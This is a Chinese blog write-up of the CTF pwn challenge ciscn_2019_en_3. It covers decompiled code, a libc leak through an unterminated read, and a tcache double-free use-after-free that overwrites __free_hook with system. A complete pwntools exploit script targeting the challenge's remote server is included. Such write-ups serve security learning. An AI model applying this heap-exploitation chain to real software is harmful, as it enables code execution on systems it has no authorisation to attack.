ciscn_2019_en_3

文章描述了一个C/C++程序中的内存安全问题,涉及函数名修改、栈溢出保护、内存溢出利用(如未设边界导致字符串泄露)、UAF(UseAfterFree)以及通过freehook和system调用来获取shell的过程。作者使用pwn技术和ELF文件分析了在特定环境下的漏洞利用方法。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

ciscn_2019_en_3

    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    FORTIFY:  Enabled

64位,保护全开

我自己改了一下函数名字

unsigned __int64 FOUTION()
{
  int v1; // [rsp+Ch] [rbp-44h] BYREF
  char s[16]; // [rsp+10h] [rbp-40h] BYREF
  char buf[40]; // [rsp+20h] [rbp-30h] BYREF
  unsigned __int64 v4; // [rsp+48h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  puts("Welcome to the story kingdom.");
  puts("What's your name?");
  read(0, buf, 0x20uLL);
  _printf_chk(1LL, buf);
  puts("Please input your ID.");
  read(0, s, 8uLL);
  puts(s);
  while ( 1 )
  {
    MENU();
    _isoc99_scanf("%d", &v1);
    getchar();
    switch ( v1 )
    {
      case 1:
        ADD();
        break;
      case 2:
        PIYONGMEIYOU();
        break;
      case 3:
        PIYONGMEI();
        break;
      case 4:
        DELE();
        break;
      case 5:
        puts("Goodbye~");
        exit(0);
      default:
        puts("Wrong choice!");
        return __readfsqword(0x28u) ^ v4;
    }
  }
}

这题没有edit和show,也就是我们无法用堆的方式泄露libc或者heapbase之类的

add()

unsigned __int64 ADD()
{
  int v0; // ebx
  int v2; // [rsp+4h] [rbp-1Ch] BYREF
  unsigned __int64 v3; // [rsp+8h] [rbp-18h]

  v3 = __readfsqword(0x28u);
  if ( dword_20204C > 16 )
    puts("Enough!");
  puts("Please input the size of story: ");
  _isoc99_scanf("%d", &v2);
  *((_DWORD *)&unk_202060 + 4 * dword_20204C) = v2;
  v0 = dword_20204C;
  *((_QWORD *)&unk_202068 + 2 * v0) = malloc(v2);
  puts("please inpute the story: ");
  read(0, *((void **)&unk_202068 + 2 * dword_20204C), v2);
  ++dword_20204C;
  puts("Done!");
  return __readfsqword(0x28u) ^ v3;
}

堆最多写16个,然后记录size和堆指针

能任意申请大小

free

unsigned __int64 DELE()
{
  int v1; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("Please input the index:");
  _isoc99_scanf("%d", &v1);
  free(*((void **)&unk_202068 + 2 * v1));
  puts("Done!");
  return __readfsqword(0x28u) ^ v2;
}

uaf。

本题环境是2.27-3ubuntu1,自己patchelf一下,因为高了就tcache bin attach就没那么简单

这里直接无脑tcache double free然后申请free hooksystem

然后"free"掉/bin/shgetshell

然后关键是从哪里泄露libc

这里就是一开始让你输入的那里了

由于read没有设置边界,截断了字符串末尾的\x00导致put可以泄露一些libc上的东西setbuffer+231

由此我们就可以写exp了

from pwn import*
from Yapack import *
libc=ELF('./libc-2.27.so')  
context(os='linux', arch='amd64',log_level='debug')
r,elf=rec("node4.buuoj.cn",25471,"./pwn",10)

menu=b"choice:"
def add(size,con):
    sla(menu,b'1')
    sla(b"size of story: ",str(size))
    sa(b'inpute the story: ',con)
def dele(idx):
    sla(menu,b'4')
    sla(b"index:",str(idx))

sla(b"?",b"yame")
sla(b"ID.",b"yamemres")
ru(b'yamemres')
leak=get_addr_u64()-libc.sym['setbuffer']-231
li(leak)
free=leak+libc.sym['__free_hook']
sys=leak+libc.sym['system']

add(0x20,b'aaa')#0
add(0x20,b'aaa')#1
dele(0)
dele(1)
dele(0)
add(0x20,p64(free))#0
add(0x20,b'/bin/sh\x00')#1
add(0x20,b'aaa')#0
add(0x20,p64(sys))#free_hook
li(sys)
dele(1)
#debug()

ia()

在这里插入图片描述

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值